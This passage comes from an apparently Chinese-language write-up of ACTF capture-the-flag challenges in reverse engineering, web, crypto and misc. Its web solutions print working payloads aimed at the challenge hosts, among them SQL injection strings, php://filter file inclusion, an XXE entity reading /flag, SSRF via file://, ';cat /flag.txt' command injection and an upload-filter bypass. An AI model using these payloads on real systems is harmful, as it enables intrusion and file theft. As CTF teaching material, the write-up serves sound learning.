{
sub_C50(&v5, &v5, &v4);
__printf_chk(1LL, "Judgement pass! flag is actf{%s_%s}\n", &v5);
}
else
{
puts("False key!");
}
return 0LL;
}

这里 sub_860 函数是验证函数,sub_C50 函数只是用来输出 flag 其他字符串内容的函数,只要过了 sub_860 函数即可,sub_860 函数如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
bool __fastcall sub_860(char *a1)
{
int v1; // ecx
int v2; // esi
int v3; // edx
int v4; // er9
int v5; // er11
int v6; // ebp
int v7; // ebx
int v8; // er8
int v9; // er10
bool result; // al
int v11; // [rsp+0h] [rbp-38h]

v1 = a1[1];
v2 = *a1;
v3 = a1[2];
v4 = a1[3];
v5 = a1[4];
v6 = a1[6];
v7 = a1[5];
v8 = a1[7];
v9 = a1[8];
result = 0;
if ( -85 * v9 + 58 * v8 + 97 * v6 + v7 + -45 * v5 + 84 * v4 + 95 * v2 - 20 * v1 + 12 * v3 == 12613 )
{
v11 = a1[9];
if ( 30 * v11 + -70 * v9 + -122 * v6 + -81 * v7 + -66 * v5 + -115 * v4 + -41 * v3 + -86 * v1 - 15 * v2 - 30 * v8 == -54400
&& -103 * v11 + 120 * v8 + 108 * v7 + 48 * v4 + -89 * v3 + 78 * v1 - 41 * v2 + 31 * v5 - (v6 << 6) - 120 * v9 == -10283
&& 71 * v6 + (v7 << 7) + 99 * v5 + -111 * v3 + 85 * v1 + 79 * v2 - 30 * v4 - 119 * v8 + 48 * v9 - 16 * v11 == 22855
&& 5 * v11 + 23 * v9 + 122 * v8 + -19 * v6 + 99 * v7 + -117 * v5 + -69 * v3 + 22 * v1 - 98 * v2 + 10 * v4 == -2944
&& -54 * v11 + -23 * v8 + -82 * v3 + -85 * v2 + 124 * v1 - 11 * v4 - 8 * v5 - 60 * v7 + 95 * v6 + 100 * v9 == -2222
&& -83 * v11 + -111 * v7 + -57 * v2 + 41 * v1 + 73 * v3 - 18 * v4 + 26 * v5 + 16 * v6 + 77 * v8 - 63 * v9 == -13258
&& 81 * v11 + -48 * v9 + 66 * v8 + -104 * v6 + -121 * v7 + 95 * v5 + 85 * v4 + 60 * v3 + -85 * v2 + 80 * v1 == -1559
&& 101 * v11 + -85 * v9 + 7 * v6 + 117 * v7 + -83 * v5 + -101 * v4 + 90 * v3 + -28 * v1 + 18 * v2 - v8 == 6308 )
{
result = 99 * v11 + -28 * v9 + 5 * v8 + 93 * v6 + -18 * v7 + -127 * v5 + 6 * v4 + -9 * v3 + -93 * v1 + 58 * v2 == -1697;
}
}
return result;
}

满眼的数学题,于是写解密脚本,注意变量对应的下标

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
from z3 import *

v1, v2, v3, v4, v5, v6, v7, v8, v9, v11 = BitVecs('x1 x0 x2 x3 x4 x6 x5 x7 x8 x9', 16)
s = Solver()
s.add(97 * v6 - 85 * v9 + 58 * v8 + v7 - 45 * v5 + 84 * v4 + 95 * v2 - 20 * v1 + 12 * v3 == 12613)
s.add(30 * v11 - 70 * v9 - 122 * v6 - 81 * v7 - 66 * v5 - 115 * v4 - 41 * v3 - 86 * v1 - 15 * v2 - 30 * v8 == -54400)
s.add(5 * v11 + 23 * v9 + 122 * v8 - 19 * v6 + 99 * v7 - 117 * v5 - 69 * v3 + 22 * v1 - 98 * v2 + 10 * v4 == -2944)
s.add(124 * v1 - 54 * v11 - 23 * v8 - 82 * v3 - 85 * v2 - 11 * v4 - 8 * v5 - 60 * v7 + 95 * v6 + 100 * v9 == -2222)
s.add(41 * v1 - 83 * v11 - 111 * v7 - 57 * v2 + 73 * v3 - 18 * v4 + 26 * v5 + 16 * v6 + 77 * v8 - 63 * v9 == -13258)
s.add(81 * v11 - 48 * v9 + 66 * v8 - 104 * v6 - 121 * v7 + 95 * v5 + 85 * v4 + 60 * v3 - 85 * v2 + 80 * v1 == -1559)
s.add(101 * v11 - 85 * v9 + 7 * v6 + 117 * v7 - 83 * v5 - 101 * v4 + 90 * v3 - 28 * v1 + 18 * v2 - v8 == 6308)
s.add(99 * v11 - 28 * v9 + 5 * v8 + 93 * v6 - 18 * v7 - 127 * v5 + 6 * v4 - 9 * v3 - 93 * v1 + 58 * v2 == -1697)
s.add(120 * v8 - 103 * v11 + 108 * v7 + 48 * v4 + -89 * v3 + 78 * v1 - 41 * v2 + 31 * v5 - (v6 << 6) - 120 * v9 == -10283)
s.add(71 * v6 + (v7 << 7) + 99 * v5 - 111 * v3 + 85 * v1 + 79 * v2 - 30 * v4 - 119 * v8 + 48 * v9 - 16 * v11 == 22855)
s.add(v1 < 127)
while s.check() == sat:
try:
res = []
m = s.model()
d = m.decls()
for i in range(0, len(d)):
value = int(str(m[d[i]]))
res.append((d[i].name(), value))
res.sort()
pd = []
for i in range(0, len(res)):
pd.append(chr(res[i][1]))
pd = ''.join(pd)
print res
print pd
s.add(Or(m[v3] != v3))
except:
continue

Flag:

1
actf{F0uRTy_7w@_42}

fungame(未解出)

Description:

Pwn is different from reverse.
点击这里,开始你的比赛!


Solution:

部分函数如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
int __cdecl sub_401340(int a1)
{
char i; // [esp+1Fh] [ebp-9h]

printf("Please input:");
scanf("%s", a1);
for ( i = 0; i <= 15; ++i )
{
if ( (*(i + a1) ^ *(y1 + i)) != y2[i] )
exit(0);
}
return 0;
}

写脚本如下:

1
2
3
4
5
6
7
8
9
10
y1 = [0x23, 0x61, 0x3E, 0x69, 0x54, 0x41, 0x18, 0x4D,
0x6E, 0x3B, 0x65, 0x53, 0x30, 0x79, 0x45, 0x5B]

y2 = [0x71, 0x04, 0x61, 0x58, 0x27, 0x1E, 0x4B, 0x22,
0x5E, 0x64, 0x03, 0x26, 0x5E, 0x17, 0x3C, 0x7A]

res = []
for i in range(0, len(y1)):
res.append(chr(y1[i] ^ y2[i]))
print ''.join(res)

解得字符串为Re_1s_So0_funny!

还有其他解密部分

exp如下:

1
2



Flag:

1
动态靶机

tea(未解出)

Description:

打比赛累了吧?喝杯茶休息一下?学习资料:https://blog.csdn.net/gsls200808/article/details/48243019
点击这里,开始你的比赛!


Solution:

exp如下:

1
2



Flag:

1
动态靶机

Web

universal_sql

Description:

你听说过万能密码??
点击这里,开始你的比赛!


Solution:

审查元素后发现存在index.txt,访问发下如下内容:

1
2
3
$username = $_POST[username];
$passwd = md5($_POST[passwd]);
$sql = "select username from users where (username='$username') and (pw='$passwd')";

输入1') or 1#即可绕过


Flag:

1
ACTF{just_beginner_in_sql_injection}

茶颜悦色

Description:

茶颜!快来排队叭!
点击这里,开始你的比赛!


Solution:

抓包发现网址有 page 变量,直接用 burp 爆破,找最长的响应


Flag:

1
ACTF{pyth0n_reque5ts_coo1llllll!}

babysql

Description:

点击这里,开始你的比赛!


Solution:

测试有 3 列:id=1' order by 3#

有个提示select flag from flag

判断后端返回的前端显示的格式: id=-1' union select 1,2,3#,这里看出 1 号位不显示

之后经过一直测试,构造如下:id='union select 1,group_concat(flag),3 from flag#


Flag:

1
ACTF{baby_baby_baby_sqllll}

whats git

Description:

点击这里,开始你的比赛!


Solution:

送分题,用 git 泄露工具

1
python ../git_extract.py "http://47.103.117.169:22252/.git/"

然后输入命令:

1
find . -name flag

找到 flag 文件就能看到 flag 了


Flag:

1
ACTF{.git_leak_is_dangerous}

backup_file

Description:

点击这里,开始你的比赛!


Solution:

利用工具SourceLeakHacker可以找到index.php.bak

1
python .\SourceLeakHacker.py "http://106.15.207.47:21001/"

读源码发现以下内容:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
include_once "flag.php";

if(isset($_GET['key'])) {
$key = $_GET['key'];
if(!is_numeric($key)) {
exit("Just num!");
}
$key = intval($key);
$str = "123ffwsfwefwf24r2f32ir23jrw923rskfjwtsw54w3";
if($key == $str) {
echo $flag;
}
}
else {
echo "Try to find out source file!";
}

发现是弱类型比较,输入网址http://106.15.207.47:21001/index.php?key=123即可得到 flag


Flag:

1
ACTF{D0n'T_FoRGeT_BacKuP_Fi1e}

easy_file_include

Description:

点击这里,开始你的比赛!


Solution:

php 伪协议考察,有些过滤,构造如下:

1
http://106.15.207.47:21002/?file=php://filter/read=convert.base64-encode/resource=index.php

得到 index.php 源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
<meta charset="utf8">
<?php
error_reporting(0);
$file = $_GET["file"];
if(stristr($file,"php://input") || stristr($file,"zip://") || stristr($file,"phar://") || stristr($file,"data:")){
exit('hacker!');
}
if($file){
include($file);
}else{
echo '<a href="?file=flag.php">tips</a>';
}
?>

继续读 flag

1
http://106.15.207.47:21002/?file=php://filter/read=convert.base64-encode/resource=flag.php

得到 flag


Flag:

1
ACTF{Fi1e_InClUdE_Is_EaSy}

easyHTTP

Description:

点击这里,开始你的比赛!


Solution:

把下面显示的东西依次输入到框里提交,跳转到fjwif738hwfskf23rwr2234sfiss224986.php页面,内容如下:

1
2
3
4
5
6
7
GET请求

hello参数的值: 一入安全深似海

POST请求

world参数的值: 从此头发日渐少

依照要求输入后获得新网页92jfs2irskor2234s03849dkgegs3u84kdsfj2tos.php,内容如下:

1
2
3
请设置如下cookie:

flag = ACTF

设置Cookie: flag=ACTF后在响应头里找到新地址:0sfjo2sof9s9j3p0sfu9woxljwu3782sfh9w2urjswf.php,内容如下:

1
2
你的IP是:117.9.19.166
请伪造你的IP为127.0.0.1

设置X-Forwarded-For: 127.0.0.1后得到 flag


Flag:

1
ACTF{jS209SWfr3425wEJ4Dpefj032sforwe}

easyphp

Description:

点击这里,开始你的比赛!


Solution:

打开网页看到源码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
 <?php
error_reporting(0);
include_once "flag.php";
show_source(__FILE__);

session_start();


if(!isset($_POST['key'])) {
die("not allow!");
}

if($_POST['key'] != $_SESSION['key']) {
die("Wrong key!");
}

if(isset($_GET['username']) && isset($_GET['password'])) {
if($_GET['username'] == $_GET['password']) {
die("Your password can not be your username!");
}
if(md5($_GET['username']) === md5($_GET['password'])) {
echo $flag;
}
} not allow!

利用 burp 按如下构造即可:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
POST /?username[]=1a&password[]=2 HTTP/1.1
Host: 106.15.207.47:21004
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 4
Origin: http://106.15.207.47:21004
Connection: close
Referer: http://106.15.207.47:21004/
Upgrade-Insecure-Requests: 1

key=

Flag:

1
ACTF{8rh8ReeRE9rh3s8134koURHW32}

幸运数字

Description:

快来挑选你的幸运数字吧~

点击这里,开始你的比赛!


Solution:

打开页面发现会随机生成 5 位数字,注释里也写了幸运数字是 5 位数,直接 burp 爆破了

发现数字为 77777 时有格外信息:

1
2
3
4
5
6
7
8
9
10
HTTP/1.1 200 OK
Date: Sat, 08 Feb 2020 05:30:09 GMT
Server: Apache/2.4.18 (Ubuntu)
Vary: Accept-Encoding
Content-Length: 143
Connection: close
Content-Type: text/html; charset=utf-8

<result><code>1</code><msg>You get it! 77777 but flag in Server /flag...
tips: Take a closer look at the format of your upload</msg></result>

然后又因为发现请求头上是 xml,就想到了 XXE 注入攻击,构造请求头如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
POST /getflag.php HTTP/1.1
Host: 47.106.94.13:40002
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0
Accept: application/xml, text/xml, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/xml;charset=utf-8
Content-Length: 171
Origin: http://47.106.94.13:40002
Connection: close
Referer: http://47.106.94.13:40002/

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE a [<!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=/flag" >]>
<lucky_number>&xxe;</lucky_number>

即可得到 flag 的 base64,之后解码即可,也可以用file:///flag直接查看 flag


Flag:

1
ACTF{S1mple_XXE_y0u_g5t_it!}

easy_web

Description:

这真不是考密码学….
点击这里,开始你的比赛!


Solution:

打开网页源代码如下:

1
2
3
4
<body>
<p>这里什么也没有噢!</p>
<!--Nzc3Nzc3MmU2MjYxNmI=heiheihei-->
</body>

Nzc3Nzc3MmU2MjYxNmI=经过一次 base 64 解码和 hex 转码,得到明文www.bak

输入网址http://47.106.94.13:40003/www.bak可以下载 zip 得到源码和提示,源码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8" />
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<title>找找hint吧</title>
<meta name="viewport" content="width=device-width, initial-scale=1">
</head>
<body>
<p>这里什么也没有噢!</p>
<!--Nzc3Nzc3MmU2MjYxNmI=heiheihei-->
</body>
<?php
//学习一下如何利用下面的代码?
//请不要用来做"越界"的操作
error_reporting(0);
function curl($url){
// 创建一个新cURL资源
$ch = curl_init();
// 设置URL和相应的选项
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_HEADER, 0);
// 抓取URL并把它传递给浏览器
curl_exec($ch);
// 关闭cURL资源,并且释放系统资源
curl_close($ch);
}

$url = $_GET['url'];
curl($url);
?>
</html>

构造该网址即可http://47.106.94.13:40003/?url=file:///flag


Flag:

1
ACTF{SSRF_fi1e_pr0tocol_coolllll1l!}

simlple_exec

Description:

点击这里,开始你的比赛!


Solution:

一道常见的 ping 题,最大的乐趣读源码

1
;cat index.php | base64

得到 index.php 如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>command execution</title>
<link href="http://libs.baidu.com/bootstrap/3.0.3/css/bootstrap.min.css" rel="stylesheet" />


</head>
<body>

<h1>PING</h1>
<form class="form-inline" method="post">

<div class="input-group">
<input style="width:280px;" id="target" type="text" class="form-control" placeholder="请输入需要ping的地址" aria-describedby="basic-addon1" name="target">
</div>
<br/>
<br/>

<button style="width:280px;" class="btn btn-default">PING</button>


</form>
<br /><pre>
<?php
if (isset($_POST['target'])) {
system("ping -c 3 ".$_POST['target']);
}
?>
</pre></body>
</html>

可以看见没过滤,那么接下来找 flag

1
;cat /flag.txt

Flag:

1
ACTF{command_exe_hhhhhh}

easy_upload

Description:

动动脑筋上传点什么吧~
点击这里,开始你的比赛!


Solution:

查看 js 文件,内容如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
function checkFile() {
var file = document.getElementsByName('upload_file')[0].value;
if (file == null || file == "") {
alert("请选择要上传的文件!");
return false;
}
//定义允许上传的文件类型
var allow_ext = ".jpg|.png|.gif";
//提取上传文件的类型
var ext_name = file.substring(file.lastIndexOf("."));
//判断上传文件类型是否允许上传
if (allow_ext.indexOf(ext_name) == -1) {
var errMsg = "该文件不允许上传,请上传jpg、png、gif结尾的图片噢!";
alert(errMsg);
return false;
}
}

传个 jpg 木马,之后改成 phtml 就能绕过了,根目录找到 flag,可以看到过滤如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php
error_reporting(0);
//设置上传目录
define("UPLOAD_PATH", "./uplo4d");
$msg = "Upload Success!";
if (isset($_POST['submit'])) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$file_name = $_FILES['upload_file']['name'];
$ext = pathinfo($file_name,PATHINFO_EXTENSION);
if(in_array($ext, ['php', 'php3', 'php4', 'php5'])) {
exit('nonono~ Bad file!');
}

$new_file_name = md5($file_name).".".$ext;
$img_path = UPLOAD_PATH . '/' . $new_file_name;


if (move_uploaded_file($temp_file, $img_path)){
$is_upload = true;
} else {
$msg = 'Upload Failed!';
}
echo '<div style="color:#F00">'.$msg." Look here~ ".$img_path."</div>";
}
?>

Flag:

1
ACTF{Uplo4d_So_Easyyyyy!}

Crypto

classic0

Description:

小Z用C语言编写了一个最简单的密码系统,里面都采用的是最简单的古典加密。但是他的源程序不幸泄露,聪明的你能否解读他采用的算法并进行解密?flag格式为actf{***}
点击这里,开始你的比赛!


Solution:

给了加密的压缩包,根据提示生日爆破出密码是 19990306,得到加密脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
#include<stdio.h>

char flag[25] = ***

int main()
{
int i;
for(i=0;i<25;i++)
{
flag[i] -= 3;
flag[i] ^= 0x7;
printf("%c",flag[i]);
}
return 0;
}

写解密脚本如下:

1
2
3
4
5
6
7
8
9
10
11

with open(r'./cipher', 'rb') as wl:
wl = list(wl.readline())

for i in range(0, len(wl)):
wl[i] = ord(wl[i])
wl[i] ^= 7
wl[i] += 3
wl[i] = chr(wl[i])

print ''.join(wl)

Flag:

1
actf{my_naive_encrytion}

classic1

Description:

维吉尼亚加密是极其经典的古典密码,flag格式为actf{},明文中的字母均为小写。
点击这里,开始你的比赛!


Solution:

文件有个压缩包和一个提示,提示内容如下:

1
2
哇,这里有压缩包的密码哦,于是我低下了头,看向了我的双手,试图从中找到某些规律
xdfv ujko98 edft54 xdfv pok,.; wsdr43

发现每个段都会包着一个字符,提取后得到这样一个字符串circle

之后得到密文SRLU{LZPL_S_UASHKXUPD_NXYTFTJT}

密文:srlu{lzpl_s_uashkxupd_nxytftjt}
密码:sp
明文:actf{tkxw_a_fidpvffxo_vigenere}

密文:fidpvffxo
密码:dx
明文:classical

密文:tkxw
密码:xd
明文:what


Flag:

1
actf{what_a_classical_vigenere}

des_mailbox

Description:

小Z自创了一套DES加密方法。他悄悄告诉你,这是你们传递秘密的信箱,所以想要获得他的秘密很简单,动动小脑袋瓜和小手指头就可以啦!flag格式为actf{***}
点击这里,开始你的比赛!


Solution:

我差点压缩包就没打开,用如下方式转换浮点数

1
2
3
4
5
6
7
8
9
10
11
12
#include <stdio.h>

int main() {
int x = 0;
float* y = (float*)&x;
*y = 72143238992041641000000.000000;
unsigned char* z = (unsigned char*)&x;
for (int i = 0; i < 4; i++)
printf("%x ", z[i]);
puts("");
return 0;
}

然后进行 ASCII 转码,得到密码Interestring Idea to encrypt,打开后加密文件如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
import pyDes
import base64
from FLAG import flag
deskey = "********"
DES = pyDes.des(deskey)
DES.setMode('ECB')
DES.Kn = [
[1, 0, 1, 0, 0, 0, 0, 0, 1, 0, 0, 1, 0, 1, 1, 0, 0, 1, 0, 0, 0, 1, 1, 0, 0, 0, 1, 1, 1, 0, 1, 1, 0, 0, 0, 0, 0, 1,
1, 1, 1, 0, 0, 1, 1, 0, 0, 0],
[1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 1, 1, 0, 1, 1, 0, 0, 1, 0, 1, 0, 0, 1, 0, 1, 0, 0, 1, 0, 1, 1, 0, 0, 0, 1, 1, 0, 1,
1, 0, 0, 0, 1, 0, 0, 1, 1, 0],
[0, 1, 1, 0, 0, 1, 0, 0, 1, 1, 0, 1, 0, 1, 1, 0, 0, 1, 1, 1, 0, 0, 0, 0, 0, 0, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 1, 0,
1, 1, 1, 1, 1, 0, 0, 1, 0, 0],
[1, 1, 0, 0, 0, 1, 1, 0, 1, 1, 0, 1, 0, 0, 0, 1, 0, 1, 0, 1, 0, 0, 1, 0, 0, 0, 0, 1, 0, 0, 0, 0, 1, 1, 1, 0, 1, 0,
0, 0, 1, 1, 0, 1, 0, 0, 1, 1],
[0, 0, 1, 0, 1, 1, 1, 0, 1, 1, 0, 0, 0, 0, 1, 1, 0, 1, 0, 1, 0, 0, 1, 1, 0, 1, 1, 0, 0, 1, 1, 1, 1, 0, 1, 0, 0, 1,
0, 0, 0, 0, 0, 1, 0, 0, 0, 1],
[0, 0, 1, 0, 1, 1, 1, 1, 0, 1, 0, 1, 0, 0, 0, 1, 0, 0, 0, 0, 1, 0, 1, 1, 1, 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0, 1, 0, 1, 0, 1, 0, 1, 1, 0,
0, 1, 1, 1, 1, 0, 0, 1, 0, 0],
[1, 1, 0, 1, 0, 0, 0, 0, 1, 0, 0, 0, 1, 1, 1, 0, 1, 0, 1, 0, 0, 0, 1, 0, 1, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 1, 0,
0, 0, 1, 1, 1, 1, 0, 0, 0, 1],
[1, 1, 1, 1, 0, 0, 0, 0, 1, 0, 1, 1, 0, 0, 1, 0, 0, 0, 1, 0, 0, 1, 1, 0, 1, 1, 0, 0, 0, 0, 1, 1, 1, 0, 1, 0, 1, 1,
1, 0, 0, 0, 0, 1, 0, 1, 0, 1],
[1, 0, 1, 0, 0, 0, 0, 0, 1, 0, 1, 1, 1, 1, 1, 0, 0, 0, 1, 0, 0, 1, 1, 0, 1, 0, 1, 0, 0, 0, 0, 1, 1, 0, 0, 1, 0, 0,
1, 0, 0, 0, 0, 0, 1, 0, 1, 1]
]
cipher_list = base64.b64encode(DES.encrypt(flag))
# b'vrkgBqeK7+h7mPyWujP8r5FqH5yyVlqv0CXudqoNHVAVdNO8ML4lM4zgez7weQXo'

仿照上面写个解密脚本,如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
import pyDes
import base64
deskey = "********"
DES = pyDes.des(deskey)
DES.setMode('ECB')
DES.Kn = [
[1, 0, 1, 0, 0, 0, 0, 0, 1, 0, 0, 1, 0, 1, 1, 0, 0, 1, 0, 0, 0, 1, 1, 0, 0, 0, 1, 1, 1, 0, 1, 1, 0, 0, 0, 0, 0, 1,
1, 1, 1, 0, 0, 1, 1, 0, 0, 0],
[1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 1, 1, 0, 1, 1, 0, 0, 1, 0, 1, 0, 0, 1, 0, 1, 0, 0, 1, 0, 1, 1, 0, 0, 0, 1, 1, 0, 1,
1, 0, 0, 0, 1, 0, 0, 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.b64decode('vrkgBqeK7+h7mPyWujP8r5FqH5yyVlqv0CXudqoNHVAVdNO8ML4lM4zgez7weQXo')
print DES.decrypt(str_enc)

Flag:

1
actf{breaking_DES_is_just_a_small_piece_of_cake}

rsa0

Description:

看看rsa的资料,学学python吧,这种简单题绝对不卡你!flag格式为actf{***}
点击这里,开始你的比赛!


Solution:

提示说伪加密了,这次 7z 没有用了,所以就乖乖把14 00 09 00都改成了14 00 00 00

顺利解压后得到两个文件,txt 文件内容如下:

1
2
3
9018588066434206377240277162476739271386240173088676526295315163990968347022922841299128274551482926490908399237153883494964743436193853978459947060210411
7547005673877738257835729760037765213340036696350766324229143613179932145122130685778504062410137043635958208805698698169847293520149572605026492751740223
50996206925961019415256003394743594106061473865032792073035954925875056079762626648452348856255575840166640519334862690063949316515750256545937498213476286637455803452890781264446030732369871044870359838568618176586206041055000297981733272816089806014400846392307742065559331874972274844992047849472203390350

py 文件内容如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from Cryptodome.Util.number import *
import random

FLAG=#hidden, please solve it
flag=int.from_bytes(FLAG,byteorder = 'big')


p=getPrime(512)
q=getPrime(512)

print(p)
print(q)
N=p*q
e=65537
enc = pow(flag,e,N)
print (enc)

写解密脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
#!/usr/bin/env python
# -*- coding: utf-8 -*-
import gmpy2
import binascii

p = gmpy2.mpz(9018588066434206377240277162476739271386240173088676526295315163990968347022922841299128274551482926490908399237153883494964743436193853978459947060210411)
q = gmpy2.mpz(7547005673877738257835729760037765213340036696350766324229143613179932145122130685778504062410137043635958208805698698169847293520149572605026492751740223)
n = p * q
e = gmpy2.mpz(65537)
phi_n = (p - 1) * (q - 1)
d = gmpy2.mpz(gmpy2.invert(e, phi_n)) # 求逆元
c = gmpy2.mpz(50996206925961019415256003394743594106061473865032792073035954925875056079762626648452348856255575840166640519334862690063949316515750256545937498213476286637455803452890781264446030732369871044870359838568618176586206041055000297981733272816089806014400846392307742065559331874972274844992047849472203390350)
m = pow(c, d, n)
m_hex = hex(m)[2:]
print "ASCII: %s" % (binascii.a2b_hex(m_hex).decode("utf8"))

Flag:

1
actf{n0w_y0u_see_RSA}

rsa3

Description:

安全的密码算法,往往找不到任何的规律和联系。小Z由于学艺不精,无意中设计了一套极其危险的密码算法,你能帮忙破解一下这个密码算法中的秘密嘛?flag格式为actf{***}
点击这里,开始你的比赛!


Solution:

解压得到两个文件,txt 文件如下:

1
2
177606504836499246970959030226871608885969321778211051080524634084516973331441644993898029573612290095853069264036530459253652875586267946877831055147546910227100566496658148381834683037366134553848011903251252726474047661274223137727688689535823533046778793131902143444408735610821167838717488859902242863683
1457390378511382354771000540945361168984775052693073641682375071407490851289703070905749525830483035988737117653971428424612332020925926617395558868160380601912498299922825914229510166957910451841730028919883807634489834128830801407228447221775264711349928156290102782374379406719292116047581560530382210049

py 文件内容如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
from flag import FLAG
from Cryptodome.Util.number import *
import gmpy2
import random

e=65537
p = getPrime(512)
q = int(gmpy2.next_prime(p))
n = p*q
m = bytes_to_long(FLAG)
c = pow(m,e,n)
print(n)
print(c)

难点主要在 n 上,factordb 上面没有这个 n 的记录

但是因为可以看到上面的脚本用了 gmpy2.next_prime() 函数,所以可以想到 p 和 q 很相近

这时候就能用 yafu 来分解,命令如下:

1
factor(输入要分解的 n 值)

写解密脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
#!/usr/bin/env python
# -*- coding: utf-8 -*-
import gmpy2
import binascii

p = 13326909050357447643526585836833969378078147057723054701432842192988717649385731430095055622303549577233495793715580004801634268505725255565021519817179293
q = 13326909050357447643526585836833969378078147057723054701432842192988717649385731430095055622303549577233495793715580004801634268505725255565021519817179231
n = gmpy2.mpz(p * q)
e = gmpy2.mpz(65537)
phi_n = (p - 1) * (q - 1)
d = gmpy2.mpz(gmpy2.invert(e, phi_n)) # 求逆元
c = gmpy2.mpz(1457390378511382354771000540945361168984775052693073641682375071407490851289703070905749525830483035988737117653971428424612332020925926617395558868160380601912498299922825914229510166957910451841730028919883807634489834128830801407228447221775264711349928156290102782374379406719292116047581560530382210049)
m = pow(c, d, n)
m_hex = hex(m)[2:]
print "ASCII: %s" % (binascii.a2b_hex(m_hex).decode("utf8"))

Flag:

1
actf{p_and_q_should_not_be_so_close_in_value}

baby aes

Description:

AES是一种十分高效安全的对称加密方式,在现代密码学中有着举足轻重的地位。小Z对此很放心,于是就写了一个脚本用AES加密,你能获得他的明文嘛?flag格式为actf{***}
点击这里,开始你的比赛!


Solution:

信息文件如下:

1
2
91144196586662942563895769614300232343026691029427747065707381728622849079757
b'\x8c-\xcd\xde\xa7\xe9\x7f.b\x8aKs\xf1\xba\xc75\xc4d\x13\x07\xac\xa4&\xd6\x91\xfe\xf3\x14\x10|\xf8p'

加密文件如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from Cryptodome.Cipher import AES
import os
import gmpy2
from flag import FLAG
from Cryptodome.Util.number import *

def main():
key=os.urandom(2)*16
iv=os.urandom(16)
print(bytes_to_long(key)^bytes_to_long(iv))
aes=AES.new(key,AES.MODE_CBC,iv)
enc_flag = aes.encrypt(FLAG)
print(enc_flag)
if __name__=="__main__":
main()

比赛时没做出来,是因为对 urandom 函数理解还不够

key=os.urandom(2)*16这句话的意思是随机生成两个字符,然后复制 16 份,并衔接到这两个字符后面

因为 key 的长度是 iv 的两倍,所以 key 的前半部分是原模原样的,直接复制前半部分两次就是原先的 key 了,脚本如下:

之后 iv 的值就一目了然了,脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from Crypto.Cipher import AES
from Crypto.Util.number import *


def main():
xor = long_to_bytes(91144196586662942563895769614300232343026691029427747065707381728622849079757)
key = xor[: 16] * 2
iv = long_to_bytes(bytes_to_long(key) ^ bytes_to_long(xor))
aes = AES.new(key, AES.MODE_CBC, iv)
enc_flag = aes.decrypt(
b'\x8c-\xcd\xde\xa7\xe9\x7f.b\x8aKs\xf1\xba\xc75\xc4d\x13\x07\xac\xa4&\xd6\x91\xfe\xf3\x14\x10|\xf8p')
print enc_flag


if __name__ == "__main__":
main()

Flag:

1
actf{W0W_y0u_can_so1v3_AES_now!}

TinySPN(未解出)

Description:

SPN is a classical design patter in cryptography.
nc 47.103.117.169 10003
flag格式为flag{***}
点击这里,开始你的比赛!


Solution:

exp如下:

1
2



Flag:

1
动态靶机

Misc

签到

Description:

你看我匀称吗?
点击这里,开始你的比赛!


Solution:

解压 zip 出现两个文件:fffflag.zipone.png

修改one.png的高度,之后得到压缩包密码,解压压缩包碰见第二个 png

利用 zsteg 命令得到 flag


Flag:

1
ACTF{llLllsb_i3_e3asY}

白给

Description:

远在天边,近在眼前。
仔细找找吧~
点击这里,开始你的比赛!


Solution:

解压 zip 出现两个文件,有一个是二维码应该是提示用的

另一个打开是一堆 base64,自然而然想到 base64 隐写,内容如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
